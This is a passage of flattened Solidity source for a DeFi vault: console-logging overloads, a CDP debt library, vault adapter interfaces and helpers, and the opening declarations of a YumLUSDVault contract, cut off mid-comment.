_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File contracts/libraries/alchemist/CDP.sol pragma solidity ^0.6.12; /// @title CDP /// /// @dev A library which provides the CDP data struct and associated functions. library CDP { using CDP for Data; using FixedPointMath for FixedPointMath.uq192x64; using SafeERC20 for IDetailedERC20; using SafeMath for uint256; struct Context { FixedPointMath.uq192x64 collateralizationLimit; FixedPointMath.uq192x64 accumulatedYieldWeight; } struct Data { uint256 totalDeposited; uint256 totalDebt; uint256 totalCredit; uint256 lastDeposit; FixedPointMath.uq192x64 lastAccumulatedYieldWeight; } function update(Data storage _self, Context storage _ctx) internal { uint256 _earnedYield = _self.getEarnedYield(_ctx); if (_earnedYield > _self.totalDebt) { uint256 _currentTotalDebt = _self.totalDebt; _self.totalDebt = 0; _self.totalCredit = _earnedYield.sub(_currentTotalDebt); } else { _self.totalDebt = _self.totalDebt.sub(_earnedYield); } _self.lastAccumulatedYieldWeight = _ctx.accumulatedYieldWeight; } /// @dev Assures that the CDP is healthy. /// /// This function will revert if the CDP is unhealthy. function checkHealth(Data storage _self, Context storage _ctx, string memory _msg) internal view { require(_self.isHealthy(_ctx), _msg); } /// @dev Gets if the CDP is considered healthy. /// /// A CDP is healthy if its collateralization ratio is greater than the global collateralization limit. /// /// @return if the CDP is healthy. function isHealthy(Data storage _self, Context storage _ctx) internal view returns (bool) { return _ctx.collateralizationLimit.cmp(_self.getCollateralizationRatio(_ctx)) <= 0; } function getUpdatedTotalDebt(Data storage _self, Context storage _ctx) internal view returns (uint256) { uint256 _unclaimedYield = _self.getEarnedYield(_ctx); if (_unclaimedYield == 0) { return _self.totalDebt; } uint256 _currentTotalDebt = _self.totalDebt; if (_unclaimedYield >= _currentTotalDebt) { return 0; } return _currentTotalDebt - _unclaimedYield; } function getUpdatedTotalCredit(Data storage _self, Context storage _ctx) internal view returns (uint256) { uint256 _unclaimedYield = _self.getEarnedYield(_ctx); if (_unclaimedYield == 0) { return _self.totalCredit; } uint256 _currentTotalDebt = _self.totalDebt; if (_unclaimedYield <= _currentTotalDebt) { return 0; } return _self.totalCredit + (_unclaimedYield - _currentTotalDebt); } /// @dev Gets the amount of yield that a CDP has earned since the last time it was updated. /// /// @param _self the CDP to query. /// @param _ctx the CDP context. /// /// @return the amount of earned yield. function getEarnedYield(Data storage _self, Context storage _ctx) internal view returns (uint256) { FixedPointMath.uq192x64 memory _currentAccumulatedYieldWeight = _ctx.accumulatedYieldWeight; FixedPointMath.uq192x64 memory _lastAccumulatedYieldWeight = _self.lastAccumulatedYieldWeight; if (_currentAccumulatedYieldWeight.cmp(_lastAccumulatedYieldWeight) == 0) { return 0; } return _currentAccumulatedYieldWeight .sub(_lastAccumulatedYieldWeight) .mul(_self.totalDeposited) .decode(); } /// @dev Gets a CDPs collateralization ratio. /// /// The collateralization ratio is defined as the ratio of collateral to debt. If the CDP has zero debt then this /// will return the maximum value of a fixed point integer. /// /// This function will use the updated total debt so an update before calling this function is not required. /// /// @param _self the CDP to query. /// /// @return a fixed point integer representing the collateralization ratio. function getCollateralizationRatio(Data storage _self, Context storage _ctx) internal view returns (FixedPointMath.uq192x64 memory) { uint256 _totalDebt = _self.getUpdatedTotalDebt(_ctx); if (_totalDebt == 0) { return FixedPointMath.maximumValue(); } return FixedPointMath.fromU256(_self.totalDeposited).div(_totalDebt); } } // File contracts/interfaces/ITransmuter.sol pragma solidity ^0.6.12; interface ITransmuter { function distribute (address origin, uint256 amount) external; } // File contracts/interfaces/IMintableERC20.sol pragma solidity ^0.6.12; interface IMintableERC20 is IDetailedERC20{ function mint(address _recipient, uint256 _amount) external; function burnFrom(address account, uint256 amount) external; function lowerHasMinted(uint256 amount)external; } // File contracts/interfaces/IChainlink.sol pragma solidity ^0.6.12; interface IChainlink { function latestAnswer() external view returns (int256); } // File contracts/interfaces/IVaultAdapterV2.sol pragma solidity ^0.6.12; /// Interface for all Vault Adapter implementations. interface IVaultAdapterV2 { /// @dev Gets the token that the adapter accepts. function token() external view returns (IDetailedERC20); /// @dev The total value of the assets deposited into the vault. function totalValue() external view returns (uint256); /// @dev Deposits funds into the vault. /// /// @param _amount the amount of funds to deposit. function deposit(uint256 _amount) external; /// @dev Attempts to withdraw funds from the wrapped vault. /// /// The amount withdrawn to the recipient may be less than the amount requested. /// /// @param _recipient the recipient of the funds. /// @param _amount the amount of funds to withdraw. function withdraw(address _recipient, uint256 _amount, bool _isHarvest) external; } // File contracts/libraries/alchemist/LiquityVaultV2.sol pragma solidity ^0.6.12; //import "hardhat/console.sol"; /// @title Pool /// /// @dev A library which provides the Vault data struct and associated functions. library LiquityVaultV2 { using LiquityVaultV2 for Data; using LiquityVaultV2 for List; using SafeERC20 for IDetailedERC20; using SafeMath for uint256; struct Data { IVaultAdapterV2 adapter; uint256 totalDeposited; } struct List { Data[] elements; } /// @dev Gets the total amount of assets deposited in the vault. /// /// @return the total assets. function totalValue(Data storage _self) internal view returns (uint256) { return _self.adapter.totalValue(); } /// @dev Gets the token that the vault accepts. /// /// @return the accepted token. function token(Data storage _self) internal view returns (IDetailedERC20) { return IDetailedERC20(_self.adapter.token()); } /// @dev Deposits funds from the caller into the vault. /// /// @param _amount the amount of funds to deposit. function deposit(Data storage _self, uint256 _amount) internal returns (uint256) { // Push the token that the vault accepts onto the stack to save gas. IDetailedERC20 _token = _self.token(); _token.safeTransfer(address(_self.adapter), _amount); _self.adapter.deposit(_amount); _self.totalDeposited = _self.totalDeposited.add(_amount); return _amount; } /// @dev Deposits the entire token balance of the caller into the vault. function depositAll(Data storage _self) internal returns (uint256) { IDetailedERC20 _token = _self.token(); return _self.deposit(_token.balanceOf(address(this))); } /// @dev Withdraw deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. /// @param _amount the amount of tokens to withdraw. function withdraw(Data storage _self, address _recipient, uint256 _amount, bool _isHarvest) internal returns (uint256, uint256) { (uint256 _withdrawnAmount, uint256 _decreasedValue) = _self.directWithdraw(_recipient, _amount, _isHarvest); _self.totalDeposited = _self.totalDeposited.sub(_decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Directly withdraw deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. /// @param _amount the amount of tokens to withdraw. function directWithdraw(Data storage _self, address _recipient, uint256 _amount, bool _isHarvest) internal returns (uint256, uint256) { IDetailedERC20 _token = _self.token(); uint256 _startingBalance = _token.balanceOf(_recipient); uint256 _startingTotalValue = _self.totalValue(); _self.adapter.withdraw(_recipient, _amount, _isHarvest); uint256 _endingBalance = _token.balanceOf(_recipient); uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance); uint256 _endingTotalValue = _self.totalValue(); uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue); if(_isHarvest) { return (_withdrawnAmount, 0); } else { return (_withdrawnAmount, _decreasedValue); } } /// @dev Withdraw all the deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. function withdrawAll(Data storage _self, address _recipient) internal returns (uint256, uint256) { return _self.withdraw(_recipient, _self.totalDeposited, false); } /// @dev Harvests yield from the vault. /// /// @param _recipient the account to withdraw the harvested yield to. function harvest(Data storage _self, address _recipient) internal returns (uint256, uint256) { return _self.directWithdraw(_recipient, 0, true); } /// @dev Adds a element to the list. /// /// @param _element the element to add. function push(List storage _self, Data memory _element) internal { _self.elements.push(_element); } /// @dev Gets a element from the list. /// /// @param _index the index in the list. /// /// @return the element at the specified index. function get(List storage _self, uint256 _index) internal view returns (Data storage) { return _self.elements[_index]; } /// @dev Gets the last element in the list. /// /// This function will revert if there are no elements in the list. /// /// @return the last element in the list. function last(List storage _self) internal view returns (Data storage) { return _self.elements[_self.lastIndex()]; } /// @dev Gets the index of the last element in the list. /// /// This function will revert if there are no elements in the list. /// /// @return the index of the last element. function lastIndex(List storage _self) internal view returns (uint256) { uint256 _length = _self.length(); return _length.sub(1, "Vault.List: empty"); } /// @dev Gets the number of elements in the list. /// /// @return the number of elements. function length(List storage _self) internal view returns (uint256) { return _self.elements.length; } } // File contracts/YumLUSDVault.sol pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; //import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract YumLUSDVault is ReentrancyGuard { using CDP for CDP.Data; using FixedPointMath for FixedPointMath.uq192x64; using LiquityVaultV2 for LiquityVaultV2.Data; using LiquityVaultV2 for LiquityVaultV2.List; using SafeERC20 for IMintableERC20; using SafeMath for uint256; using Address for address; address public constant ZERO_ADDRESS = address(0); /// @dev Resolution for all fixed point numeric parameters which represent percents. The resolution allows for a /// granularity of 0.01% increments. uint256 public constant PERCENT_RESOLUTION = 10000; /// @dev The minimum value that the collateralization limit can be set to by the governance. This is a safety rail /// to prevent the collateralization from being set to a value which breaks the system. /// /// This value is equal to 100%. /// /// IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the /// resolution for the FixedPointMath library changes this constant must change as well. uint256 public constant MINIMUM_COLLATERALIZATION_LIMIT = 1000000000000000000; /// @dev The maximum value that the collateralization limit can be set to by the governance. This is a safety rail /// to prevent the collateralization from being set to a value which breaks the system. /// /// This value is equal to 400%. /// /// IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the /// resolution for the FixedPointMath library changes this constant must change as well. uint256 public constant MAXIMUM_COLLATERALIZATION_LIMIT = 4000000000000000000; event GovernanceUpdated( address governance ); event PendingGovernanceUpdated( address pendingGovernance ); event SentinelUpdated( address sentinel ); event TransmuterUpdated( address transmuter ); event RewardsUpdated( address treasury ); event HarvestFeeUpdated( uint256 fee ); event CollateralizationLimitUpdated( uint256 limit ); event EmergencyExitUpdated( bool status ); event ActiveVaultUpdated( IVaultAdapterV2 indexed adapter ); event FundsHarvested( uint256 withdrawnAmount, uint256 decreasedValue ); event FundsRecalled( uint256 indexed vaultId, uint256 withdrawnAmount, uint256 decreasedValue ); event FundsFlushed( uint256 amount ); event TokensDeposited( address indexed account, uint256 amount ); event TokensWithdrawn( address indexed account, uint256 requestedAmount, uint256 withdrawnAmount, uint256 decreasedValue ); event TokensRepaid( address indexed account, uint256 parentAmount, uint256 childAmount ); event TokensLiquidated( address indexed account, uint256 requestedAmount, uint256 withdrawnAmount, uint256 decreasedValue ); /// @dev The token that this contract is using as the parent asset. IMintableERC20 public token; /// @dev The token that this contract is using as the child asset. IMintableERC20 public xtoken; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; /// @dev The address of the pending governance. address public pendingGovernance; /// @dev The address of the account which can initiate an emergency withdraw of funds in a vault. address public sentinel; /// @dev The address of the contract which will transmute synthetic tokens back into native tokens. address public transmuter; /// @dev The address of the contract which will receive fees. address public rewards; /// @dev The percent of each profitable harvest that will go to the rewards contract. uint256 public harvestFee; /// @dev The total amount the native token deposited into the system that is owned by external users. uint256 public totalDeposited; /// @dev when movemetns are bigger than this number flush is activated. uint256 public flushActivator; /// @dev A flag indicating if the contract has been initialized yet. bool public initialized; /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall /// from the active vault. bool public emergencyExit; /// @dev The context shared between the CDPs. CDP.Context private _ctx; /// @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either /// create a new address or set up a proxy contract that interfaces with this contract. mapping(address => CDP.Data) private _cdps; /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for /// deposits and withdraws. Vaults before the last element are considered inactive and are expected to be cleared. LiquityVaultV2.List private _vaults; /// @dev The address of the link oracle. address public _linkGasOracle; /// @dev The minimum returned 